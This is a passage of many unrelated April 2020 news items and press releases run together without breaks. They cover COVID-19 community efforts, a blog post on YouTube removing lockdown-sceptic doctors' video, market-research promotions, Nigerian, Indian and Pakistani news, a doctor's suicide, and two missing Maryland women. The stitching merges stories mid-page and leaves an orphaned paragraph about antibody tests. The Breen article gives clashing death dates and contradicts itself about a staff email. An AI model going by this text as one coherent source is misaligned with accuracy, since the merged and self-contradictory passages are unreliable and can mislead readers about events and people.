cousin and your auntie. That's something that's so vital to the community, so it's especially important to keep in mind keeping our distance so that it actually does benefit our family members in the long run." Story continues Ensuring Indigenous visibility IllumiNative founder and executive director Crystal Echo Hawk said the campaign is about ensuring Indigenous people are seen, heard, and included in solutions and conversations around the ongoing public health emergency. "We need to change the narrative about Native people in this country and the dominant narrative is that we no longer exist, we're not a meaningful part of society," she said. "Invisibility was a problem prior, our research shows that. Invisibility during a pandemic can really be a matter of life and death." IllumiNative In addition to the PSA, IllumiNative partnered with artists like Steven Paul Judd and Jeremy Fields to create shareable artwork to encourage Indigenous youth and communities to #WarriorUp. They will also be releasing a weekly podcast that will focus on telling stories about the impact of the coronavirus on Indigenous communities. "Everything we're working on right now is to shine a light on what's happening and to take care of our communities wanting to make sure they know how important it is for us to protect our communities, protect our elders, to stay at home," said Echo Hawk. "This has been so scary and devastating, seeing the different impacts it's having from our perspective. but there's been some powerful moments that have brought Indigenous communities together." One of those moments, she said, was when jingle dress dancers across Canada and the United States posted videos across social media to help heal the world. "That was one of the first moments that brought so much comfort for so many. I've seen so many examples of that since the pandemic exploded." SPRINGFIELD On a pandemic-free Tuesday afternoon, 10th grade geometry teachers at the High School of Commerce would be in staff meetings, managing crowded lunchrooms, prepping lessons and cleaning their classrooms. In the belly of the COVID-19 crisis, however, two teachers and the assistant principal for math and science spent this sunny Tuesday afternoon manning a drive-through distribution center in the schools parking lot at State and Union streets. With a $1,000 grant from DonorsChoose, a nonprofit organization designed to support public school classrooms, teachers Catherine Vadnais and Sarah Westmoreland assembled Boredom Bags for 55 students. They filled the bags with geometry and math-based tools and learning toys -- from the classic Rubiks Cube to Kanoodle learning puzzles in an attempt to keep their students inspired and engaged as they wind down the academic year at home. Families drove up over a two-hour period, prompting squeals of delight from both teachers and students. Heyyyyyy!! We miss you! Im sorry I cant get too close! a mask-wearing Vadnais said to one sophomore girl who moved here with her family from Brooklyn, New York, last year. Vadnais and Westmoreland were joined by Assistant Principal Autumn Williams-Sutton, who noted the learning materials contained in the bags will dovetail perfectly with state education officials fresh edict to move on to new material as opposed to review lessons for the balance of the year. This is going to be an excellent resource for that, Williams-Sutton said, while lauding the math and science teachers she supervises for logging on to remote learning software at all hours of the day and night. I saw you were updating a lesson at 1:23 this morning, she said with a laugh to Vadnais, who also has two small children to care for at home. Many of their students are low-income, and some transient, Vadnais said. One boy pedaled up on his bicycle to collect his educational goodie bag. He and his family immigrated here from Guatemala last year. He is one of our hardest working students. He translates everything. His English has drastically improved over just a few short months, said Vadnais, who is a DonorsChoose ambassador and has raised $30,000 for student supplies since linking up with the program. The nonprofit organization reached out to Vadnais after the pandemic hit to offer a $1,000 grant for student supplies. She, in turn, reached out to her students and families to gauge their needs. Nearly all appealed for hand sanitizer and cleaning supplies but inventories of those items on Amazon and elsewhere had been totally depleted. So, she and Westmoreland turned to their subject matter. The pair said their students are hungry for schoolwork and missing their classrooms. Both said they built on strong bonds with their students and families to get the word out on Tuesdays giveaway. This would have never worked on short notice if we didnt already have great relationships with these kids and their families, Westmoreland said. For the families who have household members with weakened immune systems or transportation challenges, the teachers will make home deliveries. Vadnais said her ultimate goal is to solicit additional donations from the community to bolster future remote learning projects. Those who wish to donate directly to these classrooms can follow these links: John posted the compelling video of Drs. Dan Erickson and Artin Massihi in A report from the front lines over the weekend in two parts. At the time John posted the videos, they had more than 2,000,000 views. The doctors decried Californias COVID-19 related lockdown in particular on medical and economic grounds. Part 1 carried the heart of the doctors remarks in about 50 minutes. Drs. Erickson and Massihi are the proprietors of Accelerated Urgent Care in Bakersfield, Fresno, and Temecula. Their remarks were based on their experience dealing with the virus in Kern County. They focused on their own experience and widened the discussion to take in California generally. They made many of the same points we have been making here over the past month, but tied the discussion to their experience as physicians and owners in the business of treating patients in need of urgent care. Laura Ingraham invited Dr. Erickson on for a segment of her FOX News show last night, and she got action! As events transpired, she was able to report in real time that YouTube had removed the viral part 1 video following the segment for violating YouTubes terms of service, of course (video below). It must have been something he said. In case you missed it, the video is still up elsewhere on YouTube (below). I would guess that it wont be up for long. If you havent seen it yet and want to catch up, or deduce what is not be said, you better check it out now. The offending video derived from a press briefing carried on 23ABC in Bakersfield. 23ABC reports on YouTubes removal of the video and offers some additional workarounds to find it here: 23ABC News verified on our YouTube page that the first part of the press briefing is no longer available. We have submitted an appeal to YouTube, but have not heard back yet. 23ABC News is investigating the matter and will update as more information becomes available. The video went viral, reaching over 5.46 million views, and sparked debate over recommendations to lift the shelter-in-place order. 23ABC also caught up with Dr. Erickson for a comment: Anytime you push against the grain, you are going to have people who dont like it. What a sorry sign of the times. [April 28, 2020] Global Intelligent Remote Terminal Unit Market 2020-2024 | Evolving Opportunities with ABB Ltd. and Advantech Co. Ltd. | Technavio The global intelligent remote terminal unit market is expected to grow by USD 1.59 billion, as per Technavio. This marks a significant market slowdown compared to the 2019 growth estimates due to the impact of the COVID-19 pandemic in the first half of 2020. However, steady growth is expected to continue throughout the forecast period, and the market is expected to grow at a CAGR of over 6%. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20200428005811/en/ Technavio has announced its latest market research report titled Global Intelligent Remote Terminal Unit Market 2020-2024 (Graphic: Business Wire) Request challenges and opportunities that influence COVID-19 pandemic - Request free sample pages of the intelligent remote terminal unit market Read the 120-page report with TOC on "Intelligent Remote Terminal Unit Market Analysis Report by End-user (Oil and gas, Power, Chemical, Water and wastewater, and Others), Geographic Landscape (APAC, Europe, MEA, North America, and South America), and the Segment Forecasts, 2020-2024". https://www.technavio.com/report/global-intelligent-remote-terminal-unit-market-industry-analysis The market is driven by the growing need for grid modernization via smart grids. In addition, the growing adoption of SCADA in water monitoring is anticipated to boost the growth of the intelligent remote terminal unit market. Rapid industrialization and rising global population have increased the demand for energy across the world. Besides, the rise in the adoption of electric vehicles has added to the load on transmission and distribution assets. These factors are leading to a demand-supply mismatch, which is resulting in frequent power outages. Adoption of smart grids can help to reduce power outages and address power supply disruption effectively. Hence, several smart grid rojects are underway to improve the global grid infrastructure. For instance, in 2016, the Singapore Power Centre of Excellence signed an agreement worth more than USD 7 million on smart grids and data analytics projects. Such investments are increasing the demand for SCADA systems, which is positively influencing the growth of the global intelligent remote terminal unit market. Buy 1 Technavio report and get the second for 50% off. Buy 2 Technavio reports and get the third for free. View market snapshot before purchasing Major Five Intelligent Remote Terminal Unit Companies: ABB Ltd. ABB Ltd. operates its business through segments such as Electrification, Industrial Automation, Motion, Robotics & Discrete Automation, and Corporate and Other. The company offers products such as RTU520, RTU 540, and RTU 560 under its RTU 500 series. Advantech (News - Alert) Co. Ltd. Advantech Co. Ltd. operates its business through segments such as Industrial Internet of Thing Services (IIoT), Embedded Boards and Design-in Services (EIoT), Allied Design Manufacture Services (Allied DMS), Intelligent Services (SIoT), and Global Customer Services (AGS & APS). The company offers RTU ADAM-3600 Series for data collection, pre-processing, and transmission forwarding. Emerson (News - Alert) Electric Co. Emerson Electric Co. operates its business through segments such as Automation Solutions and Commercial and Residential Solutions. The company offers ControlWave Micro-Hybrid RTU and PLC. It is a highly programmable controller that combines the unique capabilities of a programmable logic controller and a remote terminal unit into a single hybrid controller. General Electric Co. General Electric Co. operates its business through segments such as Power, Renewable energy, Aviation, and Healthcare. The company offers products such as PAC8000 RTU and Multilin DGCM field RTU. Honeywell (News - Alert) International Inc. Honeywell International Inc. operates its business through segments such as Aerospace, Honeywell Building Technologies, Performance Materials and Technologies, and Safety and Productivity Solutions. The company offers products such as ControlEdge RTU, RC500 RTU, and RTU2020. Register for a free trial today and gain instant access to 17,000+ market research reports. Technavio's SUBSCRIPTION platform Intelligent Remote Terminal Unit Market End-user Outlook (Revenue, USD Billion, 2020-2024) Oil and gas Power Chemical Water and wastewater Others Intelligent Remote Terminal Unit Market Geographic Landscape Outlook (Revenue, USD Billion, 2020-2024) APAC Europe MEA North America South America Technavio's sample reports are free of charge and contain multiple sections of the report, such as the market size and forecast, drivers, challenges, trends, and more. Request a free sample report Related Reports on Industrials Include: Global Industrial Lighting Market - Global industrial lighting market by application (traditional technology and LED technology) and geographic landscape (APAC, Europe, MEA, North America, and South America). About Technavio Technavio is a leading global technology research and advisory company. Their research and analysis focus on emerging market trends and provides actionable insights to help businesses identify market opportunities and develop effective strategies to optimize their market positions. With over 500 specialized analysts, Technavio's report library consists of more than 17,000 reports and counting, covering 800 technologies, spanning across 50 countries. Their client base consists of enterprises of all sizes, including more than 100 Fortune 500 companies. This growing client base relies on Technavio's comprehensive coverage, extensive research, and actionable market insights to identify opportunities in existing and potential markets and assess their competitive positions within changing market scenarios. View source version on businesswire.com: https://www.businesswire.com/news/home/20200428005811/en/ [ Back To TMCnet.com's Homepage ] A former Nigerian president, Goodluck Jonathan, has again said that he has no account or property abroad. Mr Jonathan said this in a statement Tuesday. The statement, signed by Ikechukwu Eze, spokesman to Mr Jonathan, was issued in response to moves by the Nigerian government to subpoena bank records purportedly belonging to Mr Jonathan and his wife, Patience. Our attention has been drawn to international media reports to the effect that the Federal Government of Nigeria has subpoenaed bank records for former President Goodluck Jonathan and his wife, Dame Patience Jonathan in the United States of America, Mr Eze said. We aver that the Federal Government of Nigeria did not contact Dr. Jonathan or his wife before issuing these subpoenas. If they had, we would have advised them of the fact that you cannot subpoena what does not exist. We also remind the public that on March 5, 2014, during the swearing in of new ministers, then President Jonathan said I am loyal to Nigerias economy. I dont have accounts or property abroad. The statement said that between the period Mr Jonathan made claims of not operating foreign account and now, nothing has changed with regards to the former president. Subpoena A Bloomberg report Tuesday said that Nigeria is seeking documents from 10 banks, including Citigroup Inc. and JPMorgan Chase & Co., in a bid to overturn the controversial $9.6 billion P&ID arbitration award. The award is related to a business deal that the country claims is shrouded in allegations of corruption. The report said that Nigerian authorities asked a federal court in New York for permission to subpoena information about transactions involving government officials, including Mr Jonathan. The politicians were in office when the state signed a contract with Process & Industrial Developments Ltd., and later became involved in a costly dispute with the company. The Buhari administrations effort to quash the huge $9.6 billion award against it is tied to its ability to prove that the contract was fraudulent, with P&ID lacking the ability and willingness to deliver, and possibly paying kickbacks to senior government officials at the time. But Mr Jonathans spokesperson said Tuesday that the efforts to check the former presidents accounts were needless because Mr Jonathan had no such accounts in the United States. READ ALSO: He has no accounts in the United States of America, and encourages US authorities to cooperate fully with the Federal Government of Nigerias subpoena, the statement said. We would also like to state that during his tenure as President of Nigeria, Dr. Goodluck Jonathan extended every courtesy to former Presidents and Heads of state, because he believed and still believes that promoting, projecting and protecting Nigerias sovereignty and image is the paramount duty of her government, because it is not possible to belittle Nigerians without belittling Nigeria. Finally, we state that the signing of the P&ID contracts preceded the Jonathan administration, and that that government gave appropriate counsel to the incoming government in the handover notes of 2015, which advice, if carried out, would have prevented the current unfortunate circumstances. Mr Jonathan governed Nigeria as president between 2010 and 2015. He lost his reelection bid to Muhammadu Buhari of the then opposition All Progressives Congress, APC, in 2015. Adani Power fell 2.59% to Rs 30.05 after the company reported a consolidated net loss of Rs 1,312.90 crore in Q4 March 2020 as against net profit of Rs 634.64 crore in Q4 March 2019. The result was announced after market hours yesterday, 27 April 2020. Consolidated net sales fell 8.17% to Rs 6,172.43 crore in Q4 March 2020 over Q4 March 2019. Average Plant Load Factor (PLF) achieved during Q4 March 2020 was 66% as compared to 79% achieved during the corresponding quarter of the previous year. Lower PLF during the quarter, in comparison to the corresponding quarter of the previous year was primarily on account of AOH/ COH in APMuL and Udupi Power Corporation ("UPCL") units during the current quarter. Further, subdued power demand and increased penetration of renewable energy also impacted the capacity utilisation of the Kawai and Udupi power plants. Units sold during the quarter were 16.6 BU, similar to 16.6 BU sold during the corresponding quarter of the previous year, despite lower PLF, mainly due to sale of power from REGL and REL. Consolidated EBITDA for the quarter was Rs 360 crore compared with Rs 1,964 crore in the corresponding quarter of the previous year. EBITDA for the quarter was lower mainly due to onetime recognition of carrying cost of Rs 1,198 crore during the corresponding previous quarter, additional onetime provision of Rs 184 crore in the quarter, lower EBITDA in APMuL due to lower PLF and unfavourable foreign exchange movement in quarter, as compared to the corresponding quarter of the previous year. The company reported a consolidated net loss of Rs 1,279.46 crore in the year ended March 2020 (FY20), higher than net loss of Rs 984.40 crore in the year ended March 2019 (FY19). Net sales rose 10.82% to Rs 26,467.72 crore in FY20 over FY19. Commenting on the Q4 performance, Gautam Adani, the chairman of Adani Group, has siad that, "The Adani Group has stood by its commitment to the nation, to ensure uninterrupted availability of power in the tumultuous times of the COVID-19 lockdown. We are confident of India's ability to revive its economic growth engine and power up through hard work for the next phase of prosperity for its vast and energetic population. As India's leading infrastructure conglomerate, the Adani Group is ready to partner the country on its path to sustainable growth." Vneet S Jaain, the CEO of Adani Power, has stated that, "It is through dedicated collective and individual efforts that Adani Power has been able to keep its power generation capacities fully available to meet India's power demand, even during this challenging period. This also lends further credence to our unmatched fuel management, logistics, and technical capabilities within the private sector, to successfully manage a growing portfolio of modern power plants. We are fully committed to fulfilling our obligations to our stakeholders with safety, reliability and efficiency as our guiding principles." Adani Power is engaged in providing electric power generation by coal-based thermal power plants and coal trading. Powered by Capital Market - Live News (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) WALDORF, Md., April 28, 2020 /PRNewswire/ -- Attorney Michael A. Klopfer of the Law Office of James E. Farmer, LLC was recently promoted to Senior Associate. This promotion marks Attorney Klopfer's contribution as a valued member of the firm. Attorney Klopfer has been with the Law Office of James E. Farmer, LLC for several years. After earning a bachelor's degree in political science from Lenoir Rhyne University, during which time he also completed an internship with the Landlord-Tenant Division of the Washington, D.C. Superior Court, he went on to attend Widener University School of Law in Harrisburg, Pennsylvania, where he earned his law degree in 2013. Subsequently, Attorney Klopfer took and passed the Maryland Bar Exam and the New Jersey Bar Exam in the summer of the same year. A native of Charles County, Maryland, Attorney Klopfer is committed to serving individuals and families in his community. In his personal injury practice, he is a dedicated and aggressive advocate for the injured and brings innovative legal strategies to every case. SOURCE Law Office of James E. Farmer, LLC Jammu: The Pakistan Army resorted to unprovoked firing and shelling on the Line of Control (LoC) on Tuesday in J&K`s Poonch district. According to the Defence Ministry spokesperson Colonel Devender Anand, "At about 11 AM on Tuesday, Pakistan initiated unprovoked ceasefire violation by firing with small arms and shelling with mortars along the LoC in Shahpur, Kirni and Qasba sectors of Poonch district. The Indian army is retaliating befittingly," he added. Pakistani forces had also violated bilateral ceasefire in Poonch district on Monday by shelling in Mankato sector. A 31-year-old Indian man, who was apprehended on the suspicion of illegally crossing into America through the US-Mexico border, has tested positive for the COVID-19, becoming the first individual in the border protection agency's custody to be infected with the virus. The US Customs and Border Protection (USCBP) said that on April 23, a border patrol agent apprehended three Mexicans and the Indian national suspected of having illegally crossed the US-Mexico border near California. While the three Mexican nationals were returned to their country, the Indian was transported to a border patrol facility for processing, CBP Acting Commissioner Mark Morgan said. The Indian national, who was not identified, displayed flu like symptoms, following which he was evaluated by medical personnel and placed in quarantine. He was tested for the COVID-19 and his evaluation came back positive. This is the first individual in CBP custody to test positive for COVID-19, the agency said. The CBP said it is currently conducting contact tracing with those he may have been in contact with and closely monitoring his symptoms. The man has been transferred to the custody of US Immigration and Customs Enforcement where he will continue to be treated based on medical personnel's recommendations. The potential for the introduction and spread of COVID-19 in CBP stations and processing centres presents a danger to migrants, our frontline agents and officers, and the American people. Our agents and officers continue to protect our country from this invisible enemy, risking their own lives for the health of our nation," Morgan said. He added that this is precisely the reason the Centers for Disease Control and Prevention (CDC) has given CBP the authority to return individuals that could potentially be infected with COVID-19. "Can you imagine if we were navigating this pandemic during this time last year, when we had more than 20,000 migrants in our custody? It would have overwhelmed our processing centres and stations, and crippled the healthcare system along the border, Morgan added. Indians are among the thousands of Africans and Asian migrants crossing US borders from Mexico, led by smuggling cartels. According to the Johns Hopkins University data, the coronavirus has infected over 980,000 people and claimed over 56,000 lives in the US. (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) PR-Inside.com: 2020-04-28 15:20:59 Press Information Published by ACCESSWIRE News Network 888.952.4446 e-mail http://www.accesswire.com # 882 Words ACCESSWIRE News Network888.952.4446 From nutrition and heat detection to shed design, service providers like to adopt a holistic dairy herd management plan.DUBAI, UAE / ACCESSWIRE / April 28, 2020 / The dairy herd management market will continue its upward momentum in the long run, despite witnessing multi-pronged challenges in 2020 due to COVID-19 crisis. Future Market Insights (FMI), in a new study, estimates annual growth rates to be over 6%, as effective animal health management gains the attention of policymakers and farm owners alike. US and Western Europe, regions most severely hit by COVID-19 crisis, will be key to a strong rebound in this market."Revenue expansion of dairy industry, rising number of dairy cows and increasing exports to developed nations are the key factors driving the market," reveals the FMI report.Request report sample with 250+ pages to gain in-depth insights https://www.futuremarketinsights.com/reports/sample/rep-gb-11216 Key Research FindingsMilk management systems segment will account for major market share through the forecast period.Animal waste management will generate remunerative growth opportunities, driven by demand from Europe and North America.Large scale dairy farms, will lead the market in terms of adoption, while cooperative dairy farms will display a higher CAGR.Gains of the global dairy herd management market will remain largely concentrated in Europe, while North America and Asia Pacific will display steady growth.Key Growth DriversStrong demand for dairy products including cheese, cream, and butter plays a major role in the growth of market.Rising levels of per capita income, favorable government initiatives, and high global population to add to the global footprint of players.Arbitration activities taken up by authorities is a factor influencing market regulation.The development of consumer awareness about the benefits of dairy management and organic foods, will drive adoption.Key Impediment to Market GrowthThe dairy herd management market is facing continued challenges owing to issues associated with unethical rearing of dairy cattle.The Coronavirus ImpactEarlier, analysts predicted high growth driven by consumer disposable income. However, with the rapid and wide spread of the coronavirus outbreak, the dynamics of the industry have changed substantially. Governments have utilized measures of control such as nationwide lockdowns and restrictions on transportation. These trends are expected to have a negative impact on the global market.While global milk production continues to rise, disruptions in supply chains, minimal imports from China and lower surpluses will constrain the market. However, the market is expected to move towards recovery in the latter half of 2020.Explore the complete dairy herd management market report with 112 illustrative figures, 128 data tables, and the table of contents. Also find a detailed market segmentation on https://www.futuremarketinsights.com/askus/rep-gb-11216 Competition Structure Analysis - Dairy Herd Management MarketThe competition landscape of dairy herd management market is moderately fragmented. Key players are also investing in strategic collaborations within the industry, in addition to strategic mergers and acquisitions. Players are also focusing their efforts towards setting up competitive pricing strategies.Some of the key players in the dairy herd management market include, but are not limited to Zoetis, Alta Genetics Inc., Valley Agricultural Software, Dairymaster, Sum-it Computer Systems, Delaval Inc., SCR Dairy Inc., Afimilk, Aktiengesellschaft Lely, BouMatic LLC, GEA Group, and Fullwood Packo.Explore Future Market Insights' detailed coverage on,Ready to Eat Food Market- This research report provides a comprehensive range of insights which identify essential strategies, revenue sectors, and major growth opportunities, associated with ready to eat food products.Feed Enzymes Market- This report includes a detailed analysis on competitive scenarios, and essential information on major players in the feed enzymes market.Almond Ingredients Market- This write up encompasses detailed secondary research, which is used to estimate key industry players, overall size of the almond ingredients market, and relevant industry associations.Gain access to Market Ngage, an AI-powered, real-time business intelligence platform that goes beyond the conventional research solutions to solve the complex strategy challenges that organizations face today.About the ReportThis report offers global, regional, and national level analysis on the latest trends in the industry influencing the dairy herd management market. The study provides actionable insights on the dairy herd management market on the basis of product type (automated dairy management systems, milk management systems, reproductive health management systems, feeding/nutrition management systems, cattle management systems, herd disease management systems, standalone software, on-premise software, and web-based/cloud-based software), application (milk harvesting, feeding, breeding, cow comfort and heat stress management, calf management, health management, and others), and end user (small-scale dairy farms, large-scale dairy farms, and cooperative dairy farms), across 30 countries spanning seven key regions (North America, Latin America, Europe, East Asia, South Asia, Oceania, and MEA).About Future Market Insights (FMI)Future Market Insights (FMI) is a leading provider of market intelligence and consulting services, serving clients in over 150 countries. FMI is headquartered in London, the global financial capital, and has delivery centers in the U.S. and India. FMI's latest market research reports and industry analysis help businesses navigate challenges and take critical decisions with confidence and clarity amidst breakneck competition.Contact:Mr. Abhishek BudholiyaUnit No: AU-01-H Gold Tower (AU), Plot No: JLT-PH1-I3AJumeirah Lakes Towers, DubaiUnited Arab EmiratesMARKET ACCESS DMCC InitiativeFor Sales Enquiries: sales@ futuremarketinsights.com For Media Enquiries: press@ futuremarketinsights.com Report: https://www.futuremarketinsights.com/rep An emergency room doctor from New York City who was on the frontlines of the coronavirus pandemic battle committed suicide on April 16. According to her family members, Dr. Lorna M. Breen, the medical director of the emergency department at New York-Presbyterian Allen Hospital, died in Charlottesville, Virginia. Deteriorating mental health According to Dr. Breen's family members, the 48-year-old recounted a series of traumatic scenes that she'd witnessed working in the Manhattan hospital, including patients dying in front of her before they could even be removed from ambulances. Dr. Breen had recently contracted COVID-19 but had returned to work at Allen hospital after almost 2 weeks of rest. After the hospital sent her home, she re-located to Charlottesville. She recuperated under the instructions of her father, Dr. Philip C. Breen. On April 26, officers from the Charlottesville Police Department responded to a call seeking medical assistance after Breen attempted on her life. According to the department spokesperson Tyler Hawn, the victim was taken to U.V.A Hospital for treatment, but she later succumbed to self-inflicted injuries. Also read: More Than 700 Killed in Iran for Fake Coronavirus Cure Dr. Breen's father recounted how his daughter appeared troubled by the scenes that she had witnessed while working with coronavirus patients at Allen Hospital. Dr. Philip Breen told the Times that his daughter tried to do her job, and it killed her. He said his daughter was truly in the trenches of the front line. The 71-year-old father said that Dr. Breen had no history of mental illness, but during their final conversation, he noticed that his daughter seemed detaches and began to suspect something might be wrong. The grieving father stated that his daughter is a hero and she's a casualty just as much as anyone else who has died due to the coronavirus. Dr. Angela Mills, the head of emergency medical services for several New York-Presbyterian campuses, informed staffers of Dr. Breen's tragic death in an email on April 26. The email made no mention of Dr. Breen's death, instead, she wrote that death presents them with a lot of questions that they may not be able to answer. Allen Hospital is located in northern Manhattan, the 200-bed hospital has been regularly been overwhelmed since the outbreak began, admitted more than 170 coronavirus patients at times. Dr. Dara Kass, an emergency medicine physician, who worked with Dr. Breen at the facility stated that even when she was at home recovering from the virus, Dr. Breen still made sure to contact her colleagues regularly to check-in on how they were and if they had the medical equipment that they needed. Dr. Kass added that her colleague was always the physician who was looking out for other people's health and well-being. Coronavirus cases in America The United States is still the country with the most coronavirus cases. The total number of coronavirus patients reached 1,010,604, with 56,821 deaths and 139,418 recovered cases. Numerous states are planning to reopen businesses soon, although Dr. Anthony Fauci and the CDC strongly disagree because they are expecting a second wave that will have more devastating results. Related article: Nicotine Patches Given to Coronavirus Patients as Smokers Get Low Rates of Infection @ 2022 HNGN, All rights reserved. Do not reproduce without permission. Two Maryland women who have been missing for nearly a month may have witnessed a brutal murder before their disappearance, worried family members have revealed. Danielle Tyler, 18, and Heather Grogg, 33, were last seen in Carroll County, Maryland on April 6, according to a press release issued by FBI Pittsburgh. Investigators say they believe the two women could be traveling together and are both in critical danger, though declined to specify why. However, Heather and Danielle's families have since revealed that both of the women have close ties with three Maryland men, David Sanford Jr., 26; John Black III, 22; and Monroe Merrell, 22, who were all arrested in the kidnapping and murder of Johnathan Riddle on April 9. Danielle Tyler (left), 18, and Heather Grogg (right), 33, were last seen in Carroll County, Maryland on April 6, according to a press release issued by FBI Pittsburgh Riddle, 33, had visited Heather Grogg the night before his murder at Sanfords home in Westminster, where she had been staying for two months working as a live-in babysitter. It was there the victim reportedly got into an argument with Merrell. Police say Riddle was then stabbed twice inside the home, then taken to West Virginia where he was allegedly stabbed again and then set on fire. Heathers sister Brandi Hebb says she last spoke to Heather over the phone on April 3, where the two sisters discussed Riddles murder. Though Brandi says Heather sounded shocked by Riddles death, three days later she vanished, leading Brandi to believe her sister may have known more about the murder than she originally let on. I worry that maybe if she witnessed this or if she knows too much thats why shes in critical danger, Brandi said. Its not like her to drop off the face of the earth. On reflection of their final conversation, Brandie says she thinks her sister seemed a little stressed. She wanted to see me face-to face, but I told her wed have to wait. With everyone being quarantined because of coronavirus, we decided itd be better to wait. Describing her sister as a friendly and lovable person, Brandie says always keeps in contact with family members to let them know shes okay. Brandie also said that Heather, a mother-of-four teenagers, would never leave children. If shes out there and reading this, she can come home now, Brandie told NBC, adding that shes worried theres a reason why Heather cant get in touch with them. Johnathan Riddle, 33, had visited Heather Grogg the night before his murder at Sanfords home in Westminster. The following day his body was found stabbed and on fire in West Virginia Heathers sister Brandi Hebb (left with Heather, right) says she last spoke to Heather over the phone on April 3, where the two sisters discussed Riddles murder. Danielle Tyler, 18, from Taneytown, Maryland, was also last seen on April 6. According to her grandmother, Sherry Tyler, Danielle went through a break-up in March and recently began dating Monroe Merrell. Sherry said her granddaughter spent a lot of time at the house in Westminster where Heather was staying. Days before her disappearance she came home to gather some clothes, and was evasive when asked what shed been up to recently, Sherry said. The last time Sherry spoken to Danielle was on April 6 via text message. She texted me and said, MeMaw, I think Im going to turn my phone off for a bit. Im just tired of the drama, Sherry, who is Danielles legal guardian, told NBC. I told her that wasnt a good idea because I needed to stay in touch with her. She knows how much I worry. The worried grandmother said the text seemed out of character for Danielle. She never received a reply. She would never let me worry like this, Sherry continued. And this was her graduation year and she was so proud. And she knew I was proud. She wouldnt just run off. Heather Grogg (left) was living with murder suspect David Sanford Jr. (left) in Westminster for two months until her disappearance, where she had been working as a live-in babysitter. Where as Danielle Tyler had recently started dating Monroe Merrell, and spent a lot of time at Sandford's home Tyler is described by authorities as 5-foot-3 and 110 pounds, with blonde hair and green eyes. She has snake bite piercings on either side of her lower lip and a small nose ring in both sides of her nose. Grogg, meanwhile, is is 5-foot-2 and 175 pounds with red or blonde hair with blue eyes. She has a lip piercing below her lower right lip Not long after their conversation, Sherry was contacted by the Maryland State Police homicide department, who said they were searching for Danielle. Sherry then filed a missing persons report. Shes my baby girl and I just want to know that shes OK, Sherry said. Im living my worst nightmare and I know it wont end until shes back home. John Black III was also arrested in connection with Riddle's death on April 8. His connection to the two missing women was not specified by family members, but he was a known associate of Merrell and Sandford Sherry said if Danielle knew about Merrells criminal past, she may have never have started dating him. Merrell was sentenced to 20 years for a kidnapping in 2016, but was released on mandatory supervision in January. The families of Heather and Danielle say they are worried sick and are hoping someone will come forward with information on their whereabouts FBI Pittsburgh spokesperson Catherine Policicchio said the bureau is working closely with law enforcement partners to investigate threats to the community. The safety and welfare of those involved and the integrity of any investigation are always the first priorities for the FBI, she said. At this time, we are not able to release any additional information. Anyone with information about the whereabouts of these two women is asked to call FBI Pittsburgh or local police. We do also want to assure the community that there is no wider threat to public safety at this time." Tyler is described by authorities as 5-foot-3 and 110 pounds, with blonde hair and green eyes. She has snake bite piercings on either side of her lower lip and a small nose ring in both sides of her nose. Grogg, meanwhile, is is 5-foot-2 and 175 pounds with red or blonde hair with blue eyes. She has a lip piercing below her lower right lip. If you have any information concerning this case, please contact the FBIs Pittsburgh Field Office at (412) 432-4000, your local FBI office, Maryland State Police, or the nearest American Embassy or Consulate. You can also call 911. It can pick some antibodies which at times are not infected by COVID-19. This RDT can only pick antibodies after a period of 14 to 21 days after infection. It is not really a good test. This is why we waited for PCR confirmation and confirm with the virus RNA (ribonucleic acid). These cases turned out to be negative; they have no COVID-19 virus. BOSTON, April 28, 2020 /PRNewswire/ -- Blue Cross Blue Shield of Massachusetts is making a critical public health contribution by re-deploying a portion of its employees to work with the Community Tracing Collaborative and Boston Hope field hospital, two key elements of the state's COVID-19 response. "These two public health efforts are crucial to stemming the spread of the virus and saving lives," said Andrew Dreyfus, president and CEO of Blue Cross Blue Shield of Massachusetts. "As a locally based not-for-profit health plan, we have a significant role to play in supporting the community through this crisis. We're proud to lend our greatest resource -- our talented and compassionate employees -- to the collaborative and to support patients at Boston Hope." The company, which made a $2 million commitment to COVID-19 relief efforts earlier this month, also today announced it will provide 5,000 meals a week for those in need and host a blood drive for area hospitals. COVID-19 Community Tracing Collaborative More than 100 Blue Cross employees will be temporarily re-deployed as contact tracers for the Boston-based global health nonprofit Partners in Health at the collaborative. Contact tracers will call Massachusetts residents who have been in contact with people infected with COVID-19 and support them through quarantine. This work has played an important role in successful COVID-control programs in other countries, and the collaborative is in the process of hiring at least 1,000 people. "Because the needs of our business have changed temporarily during the pandemic, we are redirecting these employees to this critical work, which Gov. Baker has said will be vital to reopening the state and the economy," said Rich Lynch, chief operating officer at Blue Cross. "The addition of these highly trained, experienced call center associates will help jump-start this incredibly important public health initiative." Boston Hope Fifteen Blue Cross registered nurses are supporting the care of patients at the Boston Hope field hospital seven days a week, from 7 a.m. to 7 p.m. The facility, now operating in the Boston Convention and Exhibition Center, provides care to low acuity COVID-19 patients to ensure beds in Boston hospitals are available for the most serious coronavirus cases and other critical patients. The Blue Cross nurses are managing discharge planning to ensure patients have medication, supplies, caregiver support and access to nutritious food after hospitalization. Seven Blue Cross behavioral health clinicians are on call for consults if patients need mental or emotional health support. "Discharge planning is a critical component of any care plan and it's especially crucial during this pandemic, given the public health concerns," said Kathy Gardner, vice president of clinical operations and Blue Cross. "The work our nurses are doing will help prevent the spread of the virus, reduce hospital readmissions and most importantly, help the patients regain their health." Addressing food insecurity Together with its food service vendor, Flik, Blue Cross will provide 5,000 meals a week to nonprofit partners that address food security in Boston and along the South Shore. Flik workers in Blue Cross cafeterias in the company's Hingham and Quincy offices will prepare 1,000 boxed meals a day. The meals will be distributed daily by the nonprofits to the vulnerable populations they serve. "With businesses shuttered and unemployment rising, organizations that meet basic needs like nutrition are seeing a huge increase in demand for their services," said Jeff Bellows, vice president of corporate citizenship at Blue Cross. "Thanks to the creativity of our corporate real estate and facilities teams and our friends at Flik, we can help meet that demand by preparing and donating thousands of nutritious meals each week." Blood drive Blue Cross is working with the American Red Cross to help meet the critical need for whole blood, blood plasma, and platelets. Many blood drives have been canceled due to the pandemic, and blood donor centers have had to reduce capacity to adhere to social distancing guidelines. Blue Cross will hold a public blood drive at its Quincy office this spring. About Blue Cross Blue Shield of Massachusetts Blue Cross Blue Shield of Massachusetts (www.bluecrossma.com) is a community-focused, tax-paying, not-for-profit health plan headquartered in Boston. We are committed to the relentless pursuit of quality, affordable health care with an unparalleled consumer experience. Consistent with our promise to always put our members first, we are rated among the nation's best health plans for member satisfaction and quality. Connect with us on Facebook, Twitter, YouTube, and LinkedIn. SOURCE Blue Cross 